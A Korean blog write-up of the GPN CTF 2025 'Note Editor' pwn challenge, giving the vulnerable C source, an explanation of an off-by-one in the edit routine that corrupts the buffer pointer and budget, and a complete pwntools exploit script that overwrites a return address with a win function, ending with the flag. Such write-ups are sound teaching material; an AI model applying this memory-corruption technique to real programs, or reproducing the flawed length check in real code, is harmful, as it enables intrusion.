CTF/Solved

GPN CTF 2025 - Note Editor

wyv3rn 2025. 6. 22. 09:39
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>


#define NOTE_SIZE 1024
struct Note {
    char* buffer;
    size_t size;
    uint32_t budget;
    uint32_t pos;
};
typedef struct Note Note;

#define SCANLINE(format, args) \
    ({ \
    char* __scanline_line = NULL; \
    size_t __scanline_length = 0; \
    getline(&__scanline_line, &__scanline_length, stdin); \
    sscanf(__scanline_line, format, args); \
    })

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
}

void reset(Note* note) {
    memset(note->buffer, 0, note->size);
    note->budget = note->size;
    note->pos = 0;
}

void append(Note* note) {
    printf("Append something to your note (%u bytes left):\n", note->budget);
    fgets(note->buffer + note->pos, note->budget, stdin);
    uint32_t written = strcspn(note->buffer + note->pos, "\n") + 1;
    note->budget -= written;
    note->pos += written;
}

void edit(Note* note) {
    printf("Give me an offset where you want to start editing: ");
    uint32_t offset;
    SCANLINE("%u", &offset);
    printf("How many bytes do you want to overwrite: ");
    int64_t length;
    SCANLINE("%ld", &length);
    if (offset <= note->pos) {
        uint32_t lookback = (note->pos - offset);
        if (length <= note->budget + lookback) {
            fgets(note->buffer + offset, length + 2, stdin); // plus newline and null byte
            uint32_t written = strcspn(note->buffer + offset, "\n") + 1;
            if (written > lookback) {
                note->budget -= written - lookback;
                note->pos += written - lookback;
            }
        }
    } else {
        printf("Maybe write something there first.\n");
    }
}

void truncate(Note* note) {
    printf("By how many bytes do you want to truncate?\n");
    uint32_t length;
    SCANLINE("%u", &length);
    if (length > note->pos) {
        printf("You did not write that much, yet.\n");
    } else {
        note->pos -= length;
        memset(note->buffer + note->pos, 0, length);
        note->budget += length;
    }
}

uint32_t menu() {
    uint32_t choice;
    printf(
        "Choose your action:\n"
        "1. Reset note\n"
        "2. View current note\n"
        "3. Append line to note\n"
        "4. Edit line at offset\n"
        "5. Truncate note\n"
        "6. Quit\n"
    );
    SCANLINE("%u", &choice);
    return choice;
}

int main() {
    Note note;
    char buffer[NOTE_SIZE];

    note = (Note) {
        .buffer = buffer,
        .size = sizeof(buffer),
        .pos = 0,
        .budget = sizeof(buffer)
    };

    setup();
    reset(&note);
    printf("Welcome to the terminal note editor as a service.\n");

    while (1)
    {
        uint32_t choice = menu();
        switch (choice)
        {
        case 1:
            reset(&note);
            break;
        case 2:
            printf("Current note content:\n\"\"\"\n");
            puts(note.buffer);
            printf("\"\"\"\n");
            break;
        case 3:
            append(&note);
            break;
        case 4:
            edit(&note);
            break;
        case 5:
            truncate(&note);
            break;
        case 6: // fall trough to exit
            printf("Bye\n");
            return 0;
        default:
            printf("Exiting due to error or invalid action.\n");
            exit(1);
        }
    }
}

2.2. 분석

note 구조체는 buffer, size, budget, pos로 구성되어있고, buffer는 1024 byte이다.
1. 초기화
2. buffer 내용 보기
3. buffer에 내용 추가
4. buffer 내용 수정
5. buffer 내용 삭제
로 메뉴가 구성되어있다.
 

3. 취약점 확인 및 공격 준비

3.1. 취약점

off by one

3.2. 공격 준비

문자열을 입력 받을 때 fgets로 받으며, \n까지 함께 buffer에 저장되기에 strcspn으로 입력된 길이를 확인할 때 +1을 더해준다.
따라서 내가 "A"만 입력하더라도 실제로는 "A\n"이 입력되어 2 byte로 고려한다.
이로인해 edit 시 시작점을 지정할 때 \n의 위치를 선택할 수 있으며, 수정할 값 또한 뒤에 \n이 삽입되기 때문에 1024 + 1 byte 입력이 가능해지며, 이는 note 구조체의 buffer address의 마지막 1byte를 변조할 수 있다.
또한 이는 edit 함수의 written 값에도 영향을 주기에 budget 값이 음수가 되어 buffer의 size가 매우 큰 것으로 인식하게 만들기 때문에 다시 edit 시 bof가 가능해진다.
 

4. exploit

from pwn import *

#debug = True
debug = False
path = './chall'
elf = ELF(path)
libc = elf.libc

if debug == True:
    io = process([path])#, env={"LD_PRELOAD":""})
    elf = ELF(path)
else:
    io = remote("goldencourt-of-cosmically-prosperity.gpn23.ctf.kitctf.de", "443", ssl=True)

context.log_level = 'debug'

script ='''
'''

def view():
    io.sendlineafter(b'Quit\n',b'2')

def appd(inp):
    io.sendlineafter(b'Quit\n',b'3')
    io.sendlineafter(b'left):\n',str(inp).encode())

def edit(off,leng,inp):
    io.sendlineafter(b'Quit\n',b'4')
    io.sendlineafter(b'editing: ',str(off).encode())
    io.sendlineafter(b'write: ',str(leng).encode())
    io.sendline(str(inp).encode())

def trun(loc):
    io.sendlineafter(b'Quit\n',b'5')
    io.sendlineafter(b'truncate?\n',str(loc).encode())

def hexmsg(name, val):
    info(f"{name} = {hex(val)}")

def main():
    #gdb.attach(io, script)

    #libc.sym["system"]
    #libc.search(b'/bin/sh').__next__()

    win = 0x401221

    appd(' '*1024 + '2')
    edit(1023,1,'A')
    io.sendlineafter(b'Quit\n',b'4')
    io.sendlineafter(b'editing: ', b'6')
    io.sendlineafter(b'write: ', b'80')
    io.sendline(p64(win)*9)

    io.interactive()

    return

if __name__ == "__main__":
    main()
    
#GPNCTF{NOW_y0u_SurElY_ArE_reADy_To_PWn_l4dYBiRD!}
728x90
반응형